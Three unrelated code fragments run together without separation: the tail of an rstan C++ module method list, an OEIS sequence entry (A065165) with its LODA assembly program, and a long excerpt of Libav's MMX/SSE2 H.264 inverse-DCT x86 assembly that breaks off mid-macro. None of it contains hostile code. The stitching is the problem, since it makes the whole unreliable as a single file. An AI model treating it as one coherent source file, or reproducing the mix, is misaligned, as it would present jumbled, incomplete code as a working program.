&rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::log_prob) .method("unconstrain_pars", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::unconstrain_pars) .method("constrain_pars", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::constrain_pars) .method("num_pars_unconstrained", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::num_pars_unconstrained) .method("unconstrained_param_names", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::unconstrained_param_names) .method("constrained_param_names", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::constrained_param_names) .method("standalone_gqs", &rstan::stan_fit<stan_model, boost::random::ecuyer1988> ::standalone_gqs) ; }
; A065165: Permutation t->t+2 of Z, folded to N. ; 4,6,2,8,1,10,3,12,5,14,7,16,9,18,11,20,13,22,15,24,17,26,19,28,21,30,23,32,25,34,27,36,29,38,31,40,33,42,35,44,37,46,39,48,41,50,43,52,45,54,47,56,49,58,51,60,53,62,55,64,57,66,59,68,61,70,63,72,65,74,67,76,69,78,71,80,73,82,75,84,77,86,79,88,81,90,83,92,85,94,87,96,89,98,91,100,93,102,95,104,97,106,99,108,101,110,103,112,105,114,107,116,109,118,111,120,113,122,115,124,117,126,119,128,121,130,123,132,125,134,127,136,129,138,131,140,133,142,135,144,137,146,139,148,141,150,143,152,145,154,147,156,149,158,151,160,153,162,155,164,157,166,159,168,161,170,163,172,165,174,167,176,169,178,171,180,173,182,175,184,177,186,179,188,181,190,183,192,185,194,187,196,189,198,191,200,193,202,195,204,197,206,199,208,201,210,203,212,205,214,207,216,209,218,211,220,213,222,215,224,217,226,219,228,221,230,223,232,225,234,227,236,229,238,231,240,233,242,235,244,237,246,239,248,241,250,243,252,245,254 mov $1,1 mov $8,$0 add $0,1 mul $0,2 lpb $0 sub $2,4 mov $3,8 mov $4,6 add $5,$0 div $5,2 mod $5,2 mov $0,$5 mul $0,9 add $1,$5 mul $2,2 add $6,3 pow $6,2 add $3,$6 sub $7,1 sub $1,$7 sub $2,$7 sub $4,$3 sub $2,$4 add $1,$2 sub $1,6 lpe sub $1,$0 add $1,5 add $1,$8
;***************************************************************************** ;* MMX/SSE2-optimized H.264 iDCT ;***************************************************************************** ;* Copyright (C) 2004-2005 Michael Niedermayer, Loren Merritt ;* Copyright (C) 2003-2008 x264 project ;* ;* Authors: Laurent Aimar <fenrir@via.ecp.fr> ;* Loren Merritt <lorenm@u.washington.edu> ;* Holger Lubitz <hal@duncan.ol.sub.de> ;* Min Chen <chenm001.163.com> ;* ;* This file is part of Libav. ;* ;* Libav is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* Libav is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with Libav; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;***************************************************************************** %include "libavutil/x86/x86util.asm" SECTION_RODATA scan8_mem: db 4+ 1*8, 5+ 1*8, 4+ 2*8, 5+ 2*8 db 6+ 1*8, 7+ 1*8, 6+ 2*8, 7+ 2*8 db 4+ 3*8, 5+ 3*8, 4+ 4*8, 5+ 4*8 db 6+ 3*8, 7+ 3*8, 6+ 4*8, 7+ 4*8 db 4+ 6*8, 5+ 6*8, 4+ 7*8, 5+ 7*8 db 6+ 6*8, 7+ 6*8, 6+ 7*8, 7+ 7*8 db 4+ 8*8, 5+ 8*8, 4+ 9*8, 5+ 9*8 db 6+ 8*8, 7+ 8*8, 6+ 9*8, 7+ 9*8 db 4+11*8, 5+11*8, 4+12*8, 5+12*8 db 6+11*8, 7+11*8, 6+12*8, 7+12*8 db 4+13*8, 5+13*8, 4+14*8, 5+14*8 db 6+13*8, 7+13*8, 6+14*8, 7+14*8 %ifdef PIC %define npicregs 1 %define scan8 picregq %else %define npicregs 0 %define scan8 scan8_mem %endif cextern pw_32 cextern pw_1 SECTION .text ; %1=uint8_t *dst, %2=int16_t *block, %3=int stride %macro IDCT4_ADD 3 ; Load dct coeffs movq m0, [%2] movq m1, [%2+8] movq m2, [%2+16] movq m3, [%2+24] IDCT4_1D w, 0, 1, 2, 3, 4, 5 mova m6, [pw_32] TRANSPOSE4x4W 0, 1, 2, 3, 4 paddw m0, m6 IDCT4_1D w, 0, 1, 2, 3, 4, 5 pxor m7, m7 movq [%2+ 0], m7 movq [%2+ 8], m7 movq [%2+16], m7 movq [%2+24], m7 STORE_DIFFx2 m0, m1, m4, m5, m7, 6, %1, %3 lea %1, [%1+%3*2] STORE_DIFFx2 m2, m3, m4, m5, m7, 6, %1, %3 %endmacro INIT_MMX mmx ; void ff_h264_idct_add_8_mmx(uint8_t *dst, int16_t *block, int stride) cglobal h264_idct_add_8, 3, 3, 0 IDCT4_ADD r0, r1, r2 RET %macro IDCT8_1D 2 mova m0, m1 psraw m1, 1 mova m4, m5 psraw m4, 1 paddw m4, m5 paddw m1, m0 paddw m4, m7 paddw m1, m5 psubw m4, m0 paddw m1, m3 psubw m0, m3 psubw m5, m3 psraw m3, 1 paddw m0, m7 psubw m5, m7 psraw m7, 1 psubw m0, m3 psubw m5, m7 mova m7, m1 psraw m1, 2 mova m3, m4 psraw m3, 2 paddw m3, m0 psraw m0, 2 paddw m1, m5 psraw m5, 2 psubw m0, m4 psubw m7, m5 mova m5, m6 psraw m6, 1 mova m4, m2 psraw m4, 1 paddw m6, m2 psubw m4, m5 mova m2, %1 mova m5, %2 SUMSUB_BA w, 5, 2 SUMSUB_BA w, 6, 5 SUMSUB_BA w, 4, 2 SUMSUB_BA w, 7, 6 SUMSUB_BA w, 0, 4 SUMSUB_BA w, 3, 2 SUMSUB_BA w, 1, 5 SWAP 7, 6, 4, 5, 2, 3, 1, 0 ; 70315246 -> 01234567 %endmacro %macro IDCT8_1D_FULL 1 mova m7, [%1+112] mova m6, [%1+ 96] mova m5, [%1+ 80] mova m3, [%1+ 48] mova m2, [%1+ 32] mova m1, [%1+ 16] IDCT8_1D [%1], [%1+ 64] %endmacro ; %1=int16_t *block, %2=int16_t *dstblock %macro IDCT8_ADD_MMX_START 2 IDCT8_1D_FULL %1 mova [%1], m7 TRANSPOSE4x4W 0, 1, 2, 3, 7 mova m7, [%1] mova [%2 ], m0 mova [%2+16], m1 mova [%2+32], m2 mova [%2+48], m3 TRANSPOSE4x4W 4, 5, 6, 7, 3 mova [%2+ 8], m4 mova [%2+24], m5 mova [%2+40], m6 mova [%2+56], m7 %endmacro ; %1=uint8_t *dst, %2=int16_t *block, %3=int stride %macro IDCT8_ADD_MMX_END 3-4 IDCT8_1D_FULL %2 mova [%2 ], m5 mova [%2+16], m6 mova [%2+32], m7 pxor m7, m7 %if %0 == 4 movq [%4+ 0], m7 movq [%4+ 8], m7 movq [%4+ 16], m7 movq [%4+ 24], m7 movq [%4+ 32], m7 movq [%4+ 40], m7 movq [%4+ 48], m7 movq [%4+ 56], m7 movq [%4+ 64], m7 movq [%4+ 72], m7 movq [%4+ 80], m7 movq [%4+ 88], m7 movq [%4+ 96], m7 movq [%4+104], m7 movq [%4+112], m7 movq [%4+120], m7 %endif STORE_DIFFx2 m0, m1, m5, m6, m7, 6, %1, %3 lea %1, [%1+%3*2] STORE_DIFFx2 m2, m3, m5, m6, m7, 6, %1, %3 mova m0, [%2 ] mova m1, [%2+16] mova m2, [%2+32] lea %1, [%1+%3*2] STORE_DIFFx2 m4, m0, m5, m6, m7, 6, %1, %3 lea %1, [%1+%3*2] STORE_DIFFx2 m1, m2, m5, m6, m7, 6, %1, %3 %endmacro INIT_MMX mmx ; void ff_h264_idct8_add_8_mmx(uint8_t *dst, int16_t *block, int stride) cglobal h264_idct8_add_8, 3, 4, 0 %assign pad 128+4-(stack_offset&7) SUB rsp, pad add word [r1], 32 IDCT8_ADD_MMX_START r1 , rsp IDCT8_ADD_MMX_START r1+8, rsp+64 lea r3, [r0+4] IDCT8_ADD_MMX_END r0 , rsp, r2, r1 IDCT8_ADD_MMX_END r3 , rsp+8, r2 ADD rsp, pad RET ; %1=uint8_t *dst, %2=int16_t *block, %3=int stride %macro IDCT8_ADD_SSE 4 IDCT8_1D_FULL %2 %if ARCH_X86_64 TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, 8 %else TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, [%2], [%2+16] %endif paddw m0, [pw_32] %if ARCH_X86_64 == 0 mova [%2 ], m0 mova [%2+16], m4 IDCT8_1D [%2], [%2+ 16] mova [%2 ], m6 mova [%2+16], m7 %else SWAP 0, 8 SWAP 4, 9 IDCT8_1D m8, m9 SWAP 6, 8 SWAP 7, 9 %endif pxor m7, m7 lea %4, [%3*3] STORE_DIFF m0, m6, m7, [%1 ] STORE_DIFF m1, m6, m7, [%1+%3 ] STORE_DIFF m2, m6, m7, [%1+%3*2] STORE_DIFF m3, m6, m7, [%1+%4 ] %if ARCH_X86_64 == 0 mova m0, [%2 ] mova m1, [%2+16] %else SWAP 0, 8 SWAP 1, 9 %endif mova [%2+ 0], m7 mova [%2+ 16], m7 mova [%2+ 32], m7 mova [%2+ 48], m7 mova [%2+ 64], m7 mova [%2+ 80], m7 mova [%2+ 96], m7 mova [%2+112], m7 lea %1, [%1+%3*4] STORE_DIFF m4, m6, m7, [%1 ] STORE_DIFF m5, m6, m7, [%1+%3 ] STORE_DIFF m0, m6, m7, [%1+%3*2] STORE_DIFF m1, m6, m7, [%1+%4 ] %endmacro INIT_XMM sse2 ; void ff_h264_idct8_add_8_sse2(uint8_t *dst, int16_t *block, int stride) cglobal h264_idct8_add_8, 3, 4, 10 IDCT8_ADD_SSE r0, r1, r2, r3 RET %macro DC_ADD_MMXEXT_INIT 2 add %1, 32 sar %1, 6 movd m0, %1d lea %1, [%2*3] pshufw m0, m0, 0 pxor m1, m1 psubw m1, m0 packuswb m0, m0 packuswb m1, m1 %endmacro %macro DC_ADD_MMXEXT_OP 4 %1 m2, [%2 ] %1 m3, [%2+%3 ] %1 m4, [%2+%3*2] %1 m5, [%2+%4 ] paddusb m2, m0 paddusb m3, m0 paddusb m4, m0 paddusb m5, m0 psubusb m2, m1 psubusb m3, m1 psubusb m4, m1 psubusb m5, m1 %1 [%2 ], m2 %1 [%2+%3 ], m3 %1 [%2+%3*2], m4 %1 [%2+%4 ], m5 %endmacro INIT_MMX mmxext ; void ff_h264_idct_dc_add_8_mmxext(uint8_t *dst, int16_t *block, int stride) %if ARCH_X86_64 cglobal h264_idct_dc_add_8, 3, 4, 0 movsx r3, word [r1] mov dword [r1], 0 DC_ADD_MMXEXT_INIT r3, r2 DC_ADD_MMXEXT_OP movh, r0, r2, r3 RET ; void ff_h264_idct8_dc_add_8_mmxext(uint8_t *dst, int16_t *block, int stride) cglobal h264_idct8_dc_add_8, 3, 4, 0 movsx r3, word [r1] mov dword [r1], 0 DC_ADD_MMXEXT_INIT r3, r2 DC_ADD_MMXEXT_OP mova, r0, r2, r3 lea r0, [r0+r2*4] DC_ADD_MMXEXT_OP mova, r0, r2, r3 RET %else ; void ff_h264_idct_dc_add_8_mmxext(uint8_t *dst, int16_t *block, int stride) cglobal h264_idct_dc_add_8, 2, 3, 0 movsx r2, word [r1] mov dword [r1], 0 mov r1, r2m DC_ADD_MMXEXT_INIT r2, r1 DC_ADD_MMXEXT_OP movh, r0, r1, r2 RET ; void ff_h264_idct8_dc_add_8_mmxext(uint8_t *dst, int16_t *block, int stride) cglobal h264_idct8_dc_add_8, 2, 3, 0 movsx r2, word [r1] mov dword [r1], 0 mov r1, r2m DC_ADD_MMXEXT_INIT r2, r1 DC_ADD_MMXEXT_OP mova, r0, r1, r2 lea r0, [r0+r1*4] DC_ADD_MMXEXT_OP mova, r0, r1, r2 RET %endif INIT_MMX mmx ; void ff_h264_idct_add16_8_mmx(uint8_t *dst, const int *block_offset, ; int16_t *block, int stride, ; const uint8_t nnzc[6 * 8]) cglobal h264_idct_add16_8, 5, 7 + npicregs, 0, dst, block_offset, block, stride, nnzc, cntr, coeff, picreg xor r5, r5 %ifdef PIC lea picregq, [scan8_mem] %endif .nextblock: movzx r6, byte [scan8+r5] movzx r6, byte [r4+r6] test r6, r6 jz .skipblock mov r6d, dword [r1+r5*4] lea r6, [r0+r6] IDCT4_ADD r6, r2, r3 .skipblock: inc r5 add r2, 32 cmp r5, 16 jl .nextblock REP_RET ; void ff_h264_idct8_add4_8_mmx(uint8_t *dst, const int *block_offset, ; int16_t *block, int stride, ; const uint8_t nnzc[6 * 8]) cglobal h264_idct8_add4_8, 5, 7 + npicregs, 0, dst, block_offset, block, stride, nnzc, cntr, coeff, picreg %assign pad 128+4-(stack_offset&7) SUB rsp, pad xor r5, r5 %ifdef PIC lea picregq, [scan8_mem] %endif .nextblock: movzx r6, byte [scan8+r5] movzx r6, byte [r4+r6] test r6, r6 jz .skipblock mov r6d, dword [r1+r5*4] add r6, r0 add word [r2], 32 IDCT8_ADD_MMX_START r2 , rsp IDCT8_ADD_MMX_START r2+8, rsp+64 IDCT8_ADD_MMX_END r6 , rsp, r3, r2 mov r6d, dword [r1+r5*4] lea r6, [r0+r6+4] IDCT8_ADD_MMX_END r6 , rsp+8, r3 .skipblock: add r5, 4 add r2, 128 cmp r5, 16 jl .nextblock ADD rsp, pad RET INIT_MMX mmxext ; void ff_h264_idct_add16_8_mmxext(uint8_t *dst, const int *block_offset, ; int16_t *block, int stride, ; const uint8_t nnzc[6 * 8]) cglobal h264_idct_add16_8, 5, 8 + npicregs, 0, dst1, block_offset, block, stride, nnzc, cntr, coeff, dst2, picreg xor r5, r5 %ifdef PIC lea picregq, [scan8_mem] %endif .nextblock: movzx r6, byte [scan8+r5] movzx r6, byte [r4+r6] test r6, r6 jz .skipblock cmp r6, 1 jnz .no_dc movsx r6, word [r2] test r6, r6 jz .no_dc mov word [r2], 0 DC_ADD_MMXEXT_INIT r6, r3 %if ARCH_X86_64 == 0 %define dst2q r1 %define dst2d r1d %endif mov dst2d, dword [r1+r5*4] lea dst2q, [r0+dst2q] DC_ADD_MMXEXT_OP movh, dst2q, r3, r6 %if ARCH_X86_64 == 0 mov r1, r1m %endif inc r5 add r2, 32 cmp r5, 16 jl .nextblock REP_RET .no_dc: mov r6d, dword [r1+r5*4] add r6, r0 IDCT4_ADD r6, r2, r3 .skipblock: inc r5 add r2, 32 cmp r5, 16 jl .nextblock REP_RET INIT_MMX mmx ; void ff_h264_idct_add16intra_8_mmx(uint8_t *dst, const int *block_offset, ; int16_t *block, int stride, ; const uint8_t nnzc[6 * 8]) cglobal h264_idct_add16intra_8, 5, 7 + npicregs, 0, dst, block_offset, block, stride, nnzc, cntr, coeff, picreg xor r5, r5 %ifdef PIC lea picregq, [scan8_mem] %endif .nextblock: movzx r6, byte [scan8+r5] movzx r6, byte [r4+r6] or r6w, word [r2] test r6, r6 jz .skipblock mov r6d, dword [r1+r5*4] add r6, r0 IDCT4_ADD r6, r2, r3 .skipblock: inc r5 add r2, 32 cmp r5, 16 jl .nextblock REP_RET INIT_MMX mmxext ; void ff_h264_idct_add16intra_8_mmxext(uint8_t *dst, const int *block_offset, ; int16_t *block, int stride, ; const uint8_t nnzc[6 * 8]) cglobal h264_idct_add16intra_8, 5, 8 + npicregs, 0, dst1, block_offset, block, stride, nnzc, cntr, coeff, dst2, picreg xor r5, r5 %ifdef PIC lea picregq, [scan8_mem] %endif .nextblock: movzx r6, byte [scan8+r5] movzx r6, byte [r4+r6] test r6, r6 jz .try_dc mov r6d, dword [r1+r5*4] lea r6, [r0+r6] IDCT4_ADD r6, r2, r3 inc r5 add r2, 32 cmp r5, 16 jl .nextblock REP_RET .try_dc: movsx r6, word [r2] test r6, r6 jz .skipblock mov word [r2], 0 DC_ADD_MMXEXT_INIT r6, r3 %if ARCH_X86_64 == 0 %define dst2q r1 %define dst2d r1d %endif mov dst2d, dword [r1+r5*4] add dst2q, r0 DC_ADD_MMXEXT_OP movh, dst2q, r3, r6 %if ARCH_X86_64 == 0 mov r1, r1m %endif .skipblock: inc r5 add r2, 32 cmp r5, 16 jl .nextblock REP_RET ; void ff_h264_idct8_add4_8_mmxext(uint8_t *dst, const int *block_offset, ; int16_t *block, int stride, ; const uint8_t nnzc[6 * 8]) cglobal h264_idct8_add4_8, 5, 8 + npicregs, 0, dst1, block_offset, block, stride, nnzc, cntr, coeff, dst2, picreg %assign pad 128+4-(stack_offset&7) SUB rsp, pad xor r5, r5 %ifdef PIC lea picregq, [scan8_mem] %endif .nextblock: movzx r6, byte [scan8+r5] movzx r6, byte [r4+r6] test r6, r6 jz .skipblock cmp r6, 1 jnz .no_dc movsx r6, word [r2] test r6, r6 jz .no_dc mov word [r2], 0 DC_ADD_MMXEXT_INIT r6, r3 %if ARCH_X86_64 == 0 %define dst2q r1 %define dst2d r1d %endif mov dst2d, dword [r1+r5*4] lea dst2q, [r0+dst2q] DC_ADD_MMXEXT_OP mova, dst2q, r3, r6 lea dst2q, [dst2q+r3*4] DC_ADD_MMXEXT_OP mova, dst2q, r3, r6 %if ARCH_X86_64 == 0 mov r1, r1m %endif add r5, 4 add r2, 128 cmp r5, 16 jl .nextblock ADD rsp, pad RET .no_dc: mov r6d, dword [r1+r5*4] add r6, r0 add word [r2], 32 IDCT8_ADD_MMX_START r2 , rsp IDCT8_ADD_MMX_START r2+8, rsp+64 IDCT8_ADD_MMX_END r6 , rsp, r3, r2 mov r6d, dword [r1+r5*4] lea r6, [r0+r6+4] IDCT8_ADD_MMX_END r6 , rsp+8, r3 .skipblock: add r5, 4 add r2, 128 cmp r5, 16 jl .nextblock ADD rsp, pad RET INIT_XMM sse2 ; void ff_h264_idct8_add4_8_sse2(uint8_t *dst, const int *block_offset, ; int16_t *block, int stride, ; const uint8_t nnzc[6 * 8]) cglobal h264_idct8_add4_8, 5, 8 + npicregs, 10, dst1, block_offset, block, stride, nnzc, cntr, coeff, dst2, picreg xor r5, r5 %ifdef PIC lea picregq, [scan8_mem] %endif .nextblock: movzx r6, byte [scan8+r5] movzx r6, byte [r4+r6] test r6, r6 jz .skipblock cmp r6, 1 jnz .no_dc movsx r6, word [r2] test r6, r6 jz .no_dc INIT_MMX cpuname mov word [r2], 0 DC_ADD_MMXEXT_INIT r6, r3 %if ARCH_X86_64 == 0 %define dst2q r1 %define dst2d r1d %endif mov dst2d, dword [r1+r5*4] add dst2q, r0 DC_ADD_MMXEXT_OP mova, dst2q, r3, r6 lea dst2q, [dst2q+r3*4] DC_ADD_MMXEXT_OP mova, dst2q, r3, r6 %if ARCH_X86_64 == 0 mov r1, r1m %endif add r5, 4 add r2, 128 cmp r5, 16 jl .nextblock REP_RET .no_dc: INIT_XMM cpuname mov dst2d, dword [r1+r5*4] add dst2q, r0 IDCT8_ADD_SSE dst2q, r2, r3, r6 %if ARCH_X86_64 == 0 mov r1, r1m %endif .skipblock: add r5, 4 add r2, 128 cmp r5, 16 jl .nextblock REP_RET INIT_MMX mmx h264_idct_add8_mmx_plane: .nextblock: movzx r6, byte [scan8+r5] movzx r6, byte [r4+r6] or r6w, word [r2] test r6, r6 jz .skipblock %if ARCH_X86_64 mov r0d, dword [r1+r5*4] add r0, [dst2q] %else mov r0, r1m ; XXX r1m here is actually r0m of the calling func mov r0, [r0] add r0, dword [r1+r5*4] %endif IDCT4_ADD r0, r2, r3 .skipblock: inc r5 add r2, 32 test r5, 3 jnz .nextblock rep ret ; void ff_h264_idct_add8_8_mmx(uint8_t **dest, const int *block_offset, ; int16_t *block, int stride, ; const uint8_t nnzc[6 * 8]) cglobal h264_idct_add8_8, 5, 8 + npicregs, 0, dst1, block_offset, block, stride, nnzc, cntr, coeff, dst2, picreg mov r5, 16 add r2, 512 %ifdef PIC lea picregq, [scan8_mem] %endif %if ARCH_X86_64 mov dst2q, r0 %endif call h264_idct_add8_mmx_plane mov r5, 32 add r2, 384 %if ARCH_X86_64 add dst2q, gprsize %else add r0mp, gprsize %endif call h264_idct_add8_mmx_plane RET h264_idct_add8_mmxext_plane: .nextblock: movzx r6, byte [scan8+r5] movzx r6, byte [r4+r6] test r6, r6 jz .try_dc %if ARCH_X86_64 mov r0d, dword [r1+r5*4] add r0, [dst2q] %else mov r0, r1m ; XXX r1m here is actually r0m of the calling func mov r0, [r0] add r0, dword [r1+r5*4] %endif IDCT4_ADD r0, r2, r3 inc r5 add r2, 32 test r5, 3 jnz .nextblock rep ret .try_dc: movsx r6, word [r2] test r6, r6 jz .skipblock mov word [r2], 0 DC_ADD_MMXEXT_INIT r6, r3 %if ARCH_X86_64 mov r0d, dword [r1+r5*4] add r0, [dst2q] %else mov r0, r1m ; XXX r1m here is actually r0m of the calling func mov r0, [r0] add r0, dword [r1+r5*4] %endif DC_ADD_MMXEXT_OP movh, r0, r3, r6 .skipblock: inc r5 add r2, 32 test r5, 3 jnz .nextblock rep ret INIT_MMX mmxext ; void ff_h264_idct_add8_8_mmxext(uint8_t **dest, const int *block_offset, ; int16_t *block, int stride, ; const uint8_t nnzc[6 * 8]) cglobal h264_idct_add8_8, 5, 8 + npicregs, 0, dst1, block_offset, block, stride, nnzc, cntr, coeff, dst2, picreg mov r5, 16 add r2, 512 %if ARCH_X86_64 mov dst2q, r0 %endif %ifdef PIC lea picregq, [scan8_mem] %endif call h264_idct_add8_mmxext_plane mov r5, 32 add r2, 384 %if ARCH_X86_64 add dst2q, gprsize %else add r0mp, gprsize %endif call h264_idct_add8_mmxext_plane RET ; r0 = uint8_t *dst, r2 = int16_t *block, r3 = int stride, r6=clobbered h264_idct_dc_add8_mmxext: movd m0, [r2 ] ; 0 0 X D mov word [r2+ 0], 0 punpcklwd m0, [r2+32] ; x X d D mov word [r2+32], 0 paddsw m0, [pw_32] psraw m0, 6 punpcklwd m0, m0 ; d d D D pxor m1, m1 ; 0 0 0 0 psubw m1, m0 ; -d-d-D-D packuswb m0, m1 ; -d-d-D-D d d D D pshufw m1, m0, 0xFA ; -d-d-d-d-D-D-D-D punpcklwd m0, m0 ; d d d d D D D D lea r6, [r3*3] DC_ADD_MMXEXT_OP movq, r0, r3, r6 ret ALIGN 16 INIT_XMM sse2 ; r0 = uint8_t *dst (clobbered), r2 = int16_t *block, r3 = int stride h264_add8x4_idct_sse2: movq m0, [r2+ 0] movq m1, [r2+ 8] movq m2, [r2+16] movq m3, [r2+24] movhps m0, [r2+32] movhps m1, [r2+40] movhps m2, [r2+48] movhps m3, [r2+56] IDCT4_1D w,0,1,2,3,4,5 TRANSPOSE2x4x4W 0,1,2,3,4 paddw m0, [pw_32] IDCT4_1D w,0,1,2,3,4,5 pxor m7, m7 mova [r2+ 0], m7 mova [r2+16], m7 mova [r2+32], m7 mova [r2+48], m7 STORE_DIFFx2 m0, m1, m4, m5, m7, 6, r0, r3 lea r0, [r0+r3*2] STORE_DIFFx2 m2, m3, m4, m5, m7, 6, r0, r3 ret %macro add16_sse2_cycle 2 movzx r0, word [r4+%2] test r0, r0 jz .cycle%1end mov r0d, dword [r1+%1*8] %if ARCH_X86_64 add r0, r5 %else add r0, r0m %endif call h264_add8x4_idct_sse2 .cycle%1end: %if %1 < 7 add r2, 64 %endif %endmacro ; void ff_h264_idct_add16_8_sse2(uint8_t *dst, const int *block_offset, ; int16_t *block, int stride, ; const uint8_t nnzc[6 * 8]) cglobal h264_idct_add16_8, 5, 5 + ARCH_X86_64, 8 %if ARCH_X86_64 mov r5, r0 %endif ; unrolling of the loop leads to an average performance gain of ; 20-25% add16_sse2_cycle 0, 0xc add16_sse2_cycle 1, 0x14 add16_sse2_cycle 2, 0xe add16_sse2_cycle 3, 0x16 add16_sse2_cycle 4, 0x1c add16_sse2_cycle 5, 0x24 add16_sse2_cycle 6, 0x1e add16_sse2_cycle 7, 0x26 RET %macro add16intra_sse2_cycle 2 movzx r0, word [r4+%2] test r0, r0 jz .try%1dc mov r0d, dword [r1+%1*8] %if ARCH_X86_64 add r0, r7 %else add r0, r0m %endif call h264_add8x4_idct_sse2 jmp .cycle%1end .try%1dc: movsx r0, word [r2 ] or r0w, word [r2+32] jz .cycle%1end mov r0d, dword [r1+%1*8] %if ARCH_X86_64 add r0, r7 %else add r0, r0m %endif call h264_idct_dc_add8_mmxext .cycle%1end: %if %1 < 7 add r2, 64 %endif %endmacro ; void ff_h264_idct_add16intra_8_sse2(uint8_t *dst, const int *block_offset, ; int16_t *block, int stride, ; const uint8_t nnzc[6 * 8]) cglobal h264_idct_add16intra_8, 5, 7 + ARCH_X86_64, 8 %if ARCH_X86_64 mov r7, r0 %endif add16intra_sse2_cycle 0, 0xc add16intra_sse2_cycle 1, 0x14 add16intra_sse2_cycle 2, 0xe add16intra_sse2_cycle 3, 0x16 add16intra_sse2_cycle 4, 0x1c add16intra_sse2_cycle 5, 0x24 add16intra_sse2_cycle 6, 0x1e add16intra_sse2_cycle 7, 0x26 RET %macro add8_sse2_cycle 2 movzx r0, word [r4+%2] test r0, r0 jz .try%1dc %if ARCH_X86_64 mov r0d, dword [r1+(%1&1)*8+64*(1+(%1>>1))] add r0, [r7] %else mov r0, r0m mov r0, [r0] add r0, dword [r1+(%1&1)*8+64*(1+(%1>>1))] %endif call h264_add8x4_idct_sse2 jmp .cycle%1end .try%1dc: movsx r0, word [r2 ] or r0w, word [r2+32] jz .cycle%1end %if ARCH_X86_64 mov r0d, dword [r1+(%1&1)*8+64*(1+(%1>>1))] add r0, [r7] %else mov r0, r0m mov r0, [r0] add r0, dword [r1+(%1&1)*8+64*(1+(%1>>1))] %endif call h264_idct_dc_add8_mmxext .cycle%1end: %if %1 == 1 add r2, 384+64 %elif %1 < 3 add r2, 64 %endif %endmacro ; void ff_h264_idct_add8_8_sse2(uint8_t **dest, const int *block_offset, ; int16_t *block, int stride, ; const uint8_t nnzc[6 * 8]) cglobal h264_idct_add8_8, 5, 7 + ARCH_X86_64, 8 add r2, 512 %if ARCH_X86_64 mov r7, r0 %endif add8_sse2_cycle 0, 0x34 add8_sse2_cycle 1, 0x3c %if ARCH_X86_64 add r7, gprsize %else add r0mp, gprsize %endif add8_sse2_cycle 2, 0x5c add8_sse2_cycle 3, 0x64 RET ;void ff_h264_luma_dc_dequant_idct_mmx(int16_t *output, int16_t *input, int qmul) %macro WALSH4_1D 5 SUMSUB_BADC w, %4, %3, %2, %1, %5 SUMSUB_BADC w, %4, %2, %3, %1, %5 SWAP %1, %4, %3 %endmacro %macro DEQUANT_MMX 3 mova m7, [pw_1] mova m4, %1 punpcklwd %1, m7 punpckhwd m4, m7 mova m5, %2 punpcklwd %2, m7 punpckhwd m5, m7 movd m7, t3d punpckldq m7, m7 pmaddwd %1, m7 pmaddwd %2, m7 pmaddwd m4, m7 pmaddwd m5, m7 psrad %1, %3 psrad %2, %3 psrad m4, %3 psrad m5, %3 packssdw %1, m4 packssdw %2, m5 %endmacro %macro STORE_WORDS 5-9 %if cpuflag(sse) movd t0d, %1 psrldq %1, 4 movd t1d, %1 psrldq %1, 4 mov [t2+%2*32], t0w mov [t2+%4*32], t1w shr t0d, 16 shr t1d, 16 mov [t2+%3*32], t0w mov [t2+%5*32], t1w movd t0d, %1 psrldq %1, 4 movd t1d, %1 mov [t2+%6*32], t0w mov [t2+%8*32], t1w shr t0d, 16 shr t1d, 16 mov [t2+%7*32], t0w mov [t2+%9*32], t1w %else movd t0d, %1 psrlq %1, 32 movd t1d, %1 mov [t2+%2*32], t0w mov [t2+%4*32], t1w shr t0d, 16 shr t1d, 16 mov [t2+%3*32], t0w mov [t2+%5*32], t1w %endif %endmacro %macro DEQUANT_STORE 1 %if cpuflag(sse2) movd xmm4, t3d movq xmm5, [pw_1] pshufd xmm4, xmm4, 0 movq2dq xmm0, m0 movq2dq xmm1, m1 movq2dq xmm2, m2 movq2dq xmm3, m3 punpcklwd xmm0, xmm5 punpcklwd xmm1, xmm5 punpcklwd xmm2, xmm5 punpcklwd xmm3, xmm5 pmaddwd xmm0, xmm4 pmaddwd xmm1, xmm4 pmaddwd xmm2, xmm4 pmaddwd xmm3, xmm4 psrad xmm0, %1 psrad xmm1, %1 psrad xmm2, %1 psrad xmm3, %1 packssdw xmm0, xmm1 packssdw xmm2, xmm3 STORE_WORDS xmm0, 0, 1, 4, 5, 2, 3, 6, 7 STORE_WORDS xmm2, 8, 9, 12, 13, 10, 11, 14, 15 %else DEQUANT_MMX m0, m1, %1 STORE_WORDS m0, 0, 1, 4, 5 STORE_WORDS m1, 2, 3, 6, 7 DEQUANT_MMX m2, m3, %1 STORE_WORDS m2, 8, 9, 12, 13 STORE_WORDS m3, 10, 11, 14, 15 %endif %endmacro %macro IDCT_DC_DEQUANT 1 cglobal h264_luma_dc_dequant_idct, 3, 4, %1 ; manually spill XMM registers for Win64 because ; the code here is initialized with INIT_MMX WIN64_SPILL_XMM %1 movq m3, [r1+24] movq m2, [r1+16] movq m1, [r1+ 8] movq m0, [r1+ 0] WALSH4_1D 0,1,2,3,4 TRANSPOSE4x4W 0,1,2,3,4 WALSH4_1D 0,1,2,3,4 ; shift, tmp, output, qmul %if WIN64 DECLARE_REG_TMP 0,3,1,2 ; we can't avoid this, because r0 is the shift register (ecx) on win64 xchg r0, t2 %elif ARCH_X86_64 DECLARE_REG_TMP 3,1,0,2 %else DECLARE_REG_TMP 1,3,0,2 %endif cmp t3d, 32767 jg .big_qmul add t3d, 128 << 16 DEQUANT_STORE 8 RET .big_qmul: bsr t0d, t3d add t3d, 128 << 16 mov t1d, 7 cmp t0d, t1d cmovg t0d, t1d inc t1d shr t3d, t0b sub t1d, t0d %if cpuflag(sse2) movd xmm6, t1d 